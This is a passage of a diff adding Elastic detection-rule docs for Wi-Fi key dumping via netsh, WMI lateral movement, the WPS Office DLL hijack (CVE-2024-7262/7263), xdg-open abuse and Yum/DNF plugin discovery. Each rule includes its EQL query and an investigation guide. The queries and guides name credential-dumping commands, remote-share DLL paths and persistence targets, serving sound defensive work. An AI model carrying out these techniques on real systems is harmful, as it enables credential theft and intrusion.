endpoint-response tooling after recording `process.entity_id`, `process.command_line`, parent context, exposed profile names, staged artifacts, and related-alert evidence. If tooling is unavailable, escalate with the preserved evidence set. +- Reset or rotate credentials exposed by the dumped wireless profile. For PSK environments, rotate the affected SSID key; for 802.1X environments, revoke or reissue affected certificates, reset cached credentials, and verify whether the exposed profile could grant broader network access. +- Before deleting artifacts, review other hosts and users for the same `process.command_line`, parent pattern, or exported profile artifacts so scoping finishes before evidence is destroyed. +- Eradicate only scripts, batch files, XML exports, archives, and persistence mechanisms found during the investigation, then remediate the initial access path that allowed the key retrieval. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "netsh.exe" or ?process.pe.original_file_name == "netsh.exe") and + process.args : "wlan" and process.args : "key*clear" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-wmi-incoming-lateral-movement.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-wmi-incoming-lateral-movement.asciidoc new file mode 100644 index 0000000000..5bf065559c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-wmi-incoming-lateral-movement.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-34-wmi-incoming-lateral-movement]] +=== WMI Incoming Lateral Movement + +Identifies processes executed via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of adversary lateral movement, but could be noisy if administrators use WMI to remotely manage hosts. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating WMI Incoming Lateral Movement* + + +Windows Management Instrumentation (WMI) is a core Windows feature enabling remote management and data collection. Adversaries exploit WMI for lateral movement by executing processes on remote hosts, often bypassing traditional security measures. The detection rule identifies suspicious WMI activity by monitoring specific network connections and process executions, filtering out common false positives to highlight potential threats. + + +*Possible investigation steps* + + +- Review the source IP address of the incoming RPC connection to determine if it is from a known or trusted network segment, excluding localhost addresses like 127.0.0.1 and ::1. +- Check the process name and parent process name, specifically looking for svchost.exe and WmiPrvSE.exe, to confirm the execution context and identify any unusual parent-child process relationships. +- Investigate the user ID associated with the process execution to ensure it is not a system account (S-1-5-18, S-1-5-19, S-1-5-20) and assess if the user has legitimate reasons for remote WMI activity. +- Examine the process executable path to verify it is not one of the excluded common false positives, such as those related to HPWBEM, SCCM, or other specified system utilities. +- Analyze the network connection details, including source and destination ports, to identify any patterns or anomalies that could indicate malicious lateral movement. +- Correlate the alert with other security events or logs from the same host or network segment to gather additional context and identify potential patterns of compromise. + + +*False positive analysis* + + +- Administrative use of WMI for remote management can trigger alerts. To manage this, create exceptions for known administrative accounts or specific IP addresses used by IT staff. +- Security tools like Nessus and SCCM may cause false positives. Exclude processes associated with these tools by adding their executables to the exception list. +- System processes running with high integrity levels might be flagged. Exclude processes with integrity levels marked as "System" to reduce noise. +- Specific executables such as msiexec.exe and appcmd.exe with certain arguments can be safely excluded if they are part of routine administrative tasks. +- Regularly review and update the exception list to ensure it aligns with current network management practices and tools. + + +*Response and remediation* + + +- Isolate the affected host immediately from the network to prevent further lateral movement by the adversary. This can be done by disabling network interfaces or using network segmentation tools. +- Terminate any suspicious processes identified as being executed via WMI on the affected host. Use task management tools or scripts to stop these processes. +- Conduct a thorough review of the affected host's WMI logs and process execution history to identify any unauthorized changes or additional malicious activity. +- Reset credentials for any accounts that were used in the suspicious WMI activity, especially if they have administrative privileges, to prevent further unauthorized access. +- Apply patches and updates to the affected host and any other systems that may be vulnerable to similar exploitation methods, ensuring that all security updates are current. +- Enhance monitoring and logging for WMI activity across the network to detect and respond to similar threats more quickly in the future. This includes setting up alerts for unusual WMI usage patterns. +- If the threat is confirmed to be part of a larger attack, escalate the incident to the appropriate security team or authority for further investigation and potential legal action. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan = 20s + + /* Accepted Incoming RPC connection by Winmgmt service */ + + [network where host.os.type == "windows" and process.name : "svchost.exe" and network.direction : ("incoming", "ingress") and + source.ip != "127.0.0.1" and source.ip != "::1" and destination.port == 135] + + /* Excluding Common FPs Nessus and SCCM */ + + [process where host.os.type == "windows" and event.type == "start" and process.parent.name : "WmiPrvSE.exe" and + not (?process.Ext.token.integrity_level_name : "System" or ?winlog.event_data.IntegrityLevel : "System") and + not ( + user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20") and + /* Don't apply the user.id exclusion to Sysmon for compatibility */ + not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon") + ) and + not process.executable : + ("?:\\Program Files\\HPWBEM\\Tools\\hpsum_swdiscovery.exe", + "?:\\Windows\\CCM\\Ccm32BitLauncher.exe", + "?:\\Windows\\System32\\wbem\\mofcomp.exe", + "?:\\Windows\\Microsoft.NET\\Framework*\\csc.exe", + "?:\\Windows\\System32\\powercfg.exe") and + not (process.executable : "?:\\Windows\\System32\\msiexec.exe" and process.args : "REBOOT=ReallySuppress") and + not (process.executable : "?:\\Windows\\System32\\inetsrv\\appcmd.exe" and process.args : "uninstall") + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-wps-office-exploitation-via-dll-hijack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-wps-office-exploitation-via-dll-hijack.asciidoc new file mode 100644 index 0000000000..be61c17008 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-wps-office-exploitation-via-dll-hijack.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-34-wps-office-exploitation-via-dll-hijack]] +=== WPS Office Exploitation via DLL Hijack + +Identifies the load of a remote library by the WPS Office promecefpluginhost.exe executable. This may indicate the successful exploitation of CVE-2024-7262 or CVE-2024-7263 via DLL hijack abusing the ksoqing custom protocol handler. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.welivesecurity.com/en/eset-research/analysis-of-two-arbitrary-code-execution-vulnerabilities-affecting-wps-office/ +* https://mp.weixin.qq.com/s/F8hNyESBdKhwXkQPgtGpew + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Vuln: CVE-2024-7262 +* Vuln: CVE-2024-7263 + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating WPS Office Exploitation via DLL Hijack* + + + +*Possible investigation steps* + + +- What WPS library-load path did the alert capture? + - Why: WPS loading from cache, device, or UNC paths defines the likely abuse route before identity checks. + - Focus: `process.name`, `process.executable`, `process.command_line`, `dll.path`, and `dll.name`. + - Implication: escalate when "promecefpluginhost.exe" loads from "Temp\wps\INetCache", "\Device\Mup\", or a UNC path outside the WPS install tree; lower suspicion only when normalized `dll.path` resolves to the same Kingsoft-controlled component path as the loader and no protocol-abuse arguments appear. + +- Is the WPS loader the expected Kingsoft component? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.hash.sha256`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when the loader is unsigned, renamed, outside the installed WPS Office directory, or signed by an unexpected publisher; lower suspicion when identity matches a stable Kingsoft WPS component, but continue because a trusted loader can still load an attacker DLL. + +- Does the command line and parentage show "ksoqing" protocol abuse? + - Focus: loader process events for `host.id` and `process.entity_id`, then `process.command_line`, `process.parent.executable`, and `process.parent.command_line`. !{investigate{"description":"","label":"Process events for the WPS loader","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when "wps.exe" or "et.exe" opens user content with arguments exposing "ksoqing", plugin-service paths, encoded paths, or remote paths; lower suspicion only when parentage and arguments match a recognized controlled-share launch without document-driven protocol handling. + +- Does the loaded DLL identity fit a legitimate WPS dependency? + - Focus: `dll.hash.sha256`, `dll.pe.original_file_name`, `dll.code_signature.subject_name`, `dll.code_signature.trusted`, and `dll.Ext.relative_file_creation_time`. + - Hint: if endpoint file telemetry is available, use `host.id` and `dll.path` to identify the writer or rename event. Missing file telemetry is unresolved, not benign. !{investigate{"description":"","label":"File events for the loaded DLL path","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"file.path","queryType":"phrase","value":"{{dll.path}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the DLL is unsigned, non-Kingsoft, recently created, recently renamed in `dll.Ext.relative_file_name_modify_time`, or loaded as an unexpected WPS dependency from a remote share; if recency metadata is absent, rely on path, hash, signer, and parentage. + +- If local evidence is suspicious or incomplete, do related alerts show follow-on activity? + - Focus: child process events from the WPS loader and related alerts for `user.id`, especially WPS document execution, additional library loads, downloader behavior, or child-process alerts from the same workstation. + - !{investigate{"description":"","label":"Child process events from the WPS loader","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if user context is missing or ambiguous, review same-host alerts for `host.id` across the last 48 hours. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same user or host shows repeated WPS-triggered loads, the same `dll.hash.sha256`, the same suspicious path pattern, or follow-on execution; lower urgency when isolated, but do not close if local path or DLL identity remains unresolved. + +- Escalate when load path, loader identity, protocol or parentage, DLL signer/hash/recency, or related-alert evidence supports attacker-controlled DLL loading from INetCache, a device path, or UNC path; close only when the same evidence binds to one authorized validation, sandbox, or controlled-share workflow with no contradictory artifacts; preserve artifacts and escalate if evidence is mixed or incomplete. + + +*False positive analysis* + + +- Authorized vulnerability validation or sandbox detonation can reproduce this load pattern. Confirm scope with outside records when available, and require telemetry alignment on `host.id`, `user.id`, `process.executable`, `process.command_line`, `dll.path`, `dll.hash.sha256`, and `dll.code_signature.subject_name`. If not a known test, default to suspicious. +- Controlled software distribution or application virtualization can serve WPS components from a managed share. Confirm `dll.path` stays on that exact share, `dll.hash.sha256` and `dll.code_signature.subject_name` match the expected Kingsoft component, and parentage lacks document-driven protocol or plugin-path arguments. Without inventories, use recurrence only to validate the same stable share, hash, signer, `process.executable`, `host.id`, and `user.id` workflow before exceptioning. +- Build exceptions only from the minimum confirmed workflow: stable `process.executable`, `process.code_signature.subject_name`, `dll.path`, `dll.hash.sha256`, `dll.code_signature.subject_name`, and bounded `host.id` or `user.id` scope. Avoid exceptions on `process.name` alone for "promecefpluginhost.exe", "Temp\wps\INetCache", or UNC prefixes. + + +*Response and remediation* + + +- If confirmed benign, record the exact workflow evidence first: loader identity, `process.command_line`, DLL path/hash/signer, and bounded `host.id` or `user.id` scope. Then reverse temporary containment and create an exception only for that bounded workflow. +- If suspicious but unconfirmed, preserve the alert, host/user scope, `process.entity_id`, parent lineage, `dll.path`, `dll.hash.sha256`, and DLL signer/recency evidence before containment. Use reversible actions first, such as restricting a non-business remote share named in `dll.path`, quarantining a recovered lure document, or temporarily restricting WPS on the affected host; isolate only when follow-on execution or repeated malicious loads justify the interruption. +- If confirmed malicious, isolate the host through endpoint response after evidence preservation, then terminate the WPS loader chain if it is still active and block confirmed malicious `dll.hash.sha256` values and remote shares from `dll.path`. If endpoint response is unavailable, hand off the preserved process, DLL, host, and user identifiers to the team that can contain the system or share. +- Eradicate only artifacts tied to the investigation: remove the malicious DLL, recovered lure document, and staged WPS abuse files after scope review for the same `dll.hash.sha256`, `dll.path`, WPS parentage, `host.id`, and `user.id`. Upgrade WPS Office to a vendor-supported release that remediates both CVE-2024-7262 and CVE-2024-7263. +- Post-incident hardening: restrict WPS Office library loads from user-writable and UNC paths where feasible, retain process and library-load telemetry, and document any adjacent variant observed during triage, such as alternate WPS protocol arguments or related "promecefpluginhost.exe" load paths. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-7-setup[Sysmon Event ID 7 - Image Loaded] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and process.name : "promecefpluginhost.exe" and +( + (event.category == "library" and + ?dll.path : + ("?:\\Users\\*\\AppData\\Local\\Temp\\wps\\INetCache\\*", + "\\Device\\Mup\\**", "\\\\*")) or + + ((event.category == "process" and event.action : "Image loaded*") and + ?file.path : + ("?:\\Users\\*\\AppData\\Local\\Temp\\wps\\INetCache\\*", + "\\Device\\Mup\\**", "\\\\*")) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Drive-by Compromise +** ID: T1189 +** Reference URL: https://attack.mitre.org/techniques/T1189/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-xdg-open-command-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-xdg-open-command-execution.asciidoc new file mode 100644 index 0000000000..b173cc7cf7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-xdg-open-command-execution.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-xdg-open-command-execution]] +=== XDG-Open Command Execution + +This rule monitors for the execution of the xdg-open process that is typically used to open documents and URLs in the user's preferred desktop application. Attackers may use this command to trick users into opening malicious documents or URLs to gain access to the target system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating XDG-Open Command Execution* + + +This rule detects when the Linux `xdg-open` utility launches, which can indicate an attempt to hand a file or URL to the user’s default desktop application. That matters because attackers abuse this trusted helper to make malicious content appear as a normal user action and gain execution through user interaction. A common pattern is a script or archive invoking `xdg-open` on a local lure document or phishing URL so the desktop immediately opens it in the browser or document viewer. + + +*Possible investigation steps* + + +- Trace the parent and ancestor chain to determine whether `xdg-open` was launched by a browser, email client, chat app, archive extractor, script interpreter, or remote shell, and assess whether that lineage matches normal user behavior. +- Determine what was handed to `xdg-open` and classify it as a local file or URL; for files, examine the path, hash, download origin, and recent creation time, and for URLs, review reputation, redirects, and whether the destination is a known phishing or malware host. +- Correlate the event with nearby activity on the same host such as browser downloads, email attachment access, extraction of compressed archives, removable media access, or files written to temporary directories to identify the original delivery mechanism. +- Review the application that opened next and any follow-on child activity to see whether a browser, document viewer, or office suite subsequently spawned scripts, shell interpreters, network connections, or additional payloads. +- Validate the execution context by confirming an active graphical user session and the expected user account, since `xdg-open` launched from headless, privileged, or automation contexts is more suspicious and may indicate script-driven abuse. + + +*False positive analysis* + + +- A legitimate interactive desktop action such as a user clicking a help link, local document, or downloaded file can invoke `xdg-open`, so verify the process has an expected GUI parent, runs in the user’s normal session, and opens a path or URL consistent with recent user activity. +- Login, onboarding, or administrative scripts may use `xdg-open` to launch an internal page or local documentation for users, so confirm the parent script or autostart entry is an approved file in a standard location and that the same command appears repeatedly for other users or hosts. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network except for approved management channels, stop the user from interacting further with the opened browser tab or document, and block the malicious URL, domain, and any downloaded file hashes across web, email, and endpoint controls. +- Terminate the malicious process chain launched after `xdg-open`, quarantine the lure file or browser download, and remove persistence artifacts such as `~/.config/autostart` entries, user or system `systemd` units, cron jobs, shell profile modifications, and unauthorized desktop launchers. +- Reset the affected user’s passwords and revoke active sessions, tokens, and browser-stored credentials if `xdg-open` led to a phishing page, credential prompt, or any site that could have captured authentication data. +- Restore the host to a known-good state by reimaging or rolling back from a trusted baseline when the opened file or URL led to payload execution, unauthorized package installation, startup changes, or execution with elevated privileges. +- Escalate to incident response immediately if the same lure URL or document appears on multiple hosts, any root-level persistence or remote access tooling is found, or there are signs of lateral movement, data staging, or exfiltration. +- Harden the environment by patching browsers and document handlers, restricting script-driven `xdg-open` use from temporary or download directories where feasible, tightening email and web filtering for similar lures, and adding detections for `xdg-open` spawned by shell interpreters, archive extractors, chat clients, or remote shells. + + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "executed", "process_started", "ProcessRollup2") and ( + process.name == "xdg-open" or + process.args in ("/bin/xdg-open", "/usr/bin/xdg-open", "/usr/local/bin/xdg-open", "xdg-open") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious Link +** ID: T1204.001 +** Reference URL: https://attack.mitre.org/techniques/T1204/001/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Sub-technique: +** Name: Malicious Copy and Paste +** ID: T1204.004 +** Reference URL: https://attack.mitre.org/techniques/T1204/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-yum-dnf-plugin-status-discovery.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-yum-dnf-plugin-status-discovery.asciidoc new file mode 100644 index 0000000000..86d130fb9d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-yum-dnf-plugin-status-discovery.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-yum-dnf-plugin-status-discovery]] +=== Yum/DNF Plugin Status Discovery + +This rule detects the execution of the `grep` command with the `plugins` argument on Linux systems. This command is used to search for YUM/DNF configurations and/or plugins with an enabled state. This behavior may indicate an attacker is attempting to establish persistence in a YUM or DNF plugin. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/yum_package_manager_persistence.rb +* https://pwnshift.github.io/2020/10/01/persistence.html +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Yum/DNF Plugin Status Discovery* + + +Yum and DNF are package managers for Linux, managing software installations and updates. They support plugins to extend functionality, which can be targeted by attackers to maintain persistence. Adversaries may use commands to identify active plugins, potentially altering them for malicious purposes. The detection rule identifies suspicious use of the `grep` command to search for plugin configurations, signaling possible reconnaissance or tampering attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the `grep` command with arguments related to plugin configurations, such as `/etc/yum.conf` or `/etc/dnf/dnf.conf`, to verify the alert's accuracy. +- Examine the user account associated with the process execution to determine if it is a legitimate user or potentially compromised account. +- Check the system's command history for any preceding or subsequent commands executed by the same user to identify potential patterns or further suspicious activity. +- Investigate any recent changes to the plugin configuration files located in directories like `/etc/yum/pluginconf.d/` or `/etc/dnf/plugins/` to detect unauthorized modifications. +- Correlate the alert with other security events or logs from the same host to identify any additional indicators of compromise or related malicious activity. + + +*False positive analysis* + + +- System administrators or automated scripts may use the grep command to verify plugin configurations during routine maintenance. To handle this, create exceptions for known administrative scripts or user accounts that regularly perform these checks. +- Security audits or compliance checks might involve scanning for plugin configurations to ensure they are correctly set up. Exclude these activities by identifying and whitelisting the specific processes or tools used for such audits. +- Developers or IT staff might search for plugin configurations while troubleshooting or developing new features. Consider excluding processes initiated by trusted development environments or specific user groups involved in these activities. +- Monitoring tools that perform regular checks on system configurations could trigger this rule. Identify these tools and add them to an exclusion list to prevent false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the attacker. +- Terminate any suspicious processes related to the `grep` command that are actively searching for YUM/DNF plugin configurations. +- Conduct a thorough review of the YUM and DNF plugin configuration files and directories for unauthorized changes or additions, specifically in the paths `/etc/yum.conf`, `/usr/lib/yum-plugins/*`, `/etc/yum/pluginconf.d/*`, `/usr/lib/python*/site-packages/dnf-plugins/*`, `/etc/dnf/plugins/*`, and `/etc/dnf/dnf.conf`. +- Restore any altered plugin configurations from a known good backup to ensure system integrity. +- Implement file integrity monitoring on the YUM and DNF configuration directories to detect future unauthorized changes. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. +- Review and update access controls and permissions for users and processes interacting with YUM and DNF configurations to minimize the risk of unauthorized access. + 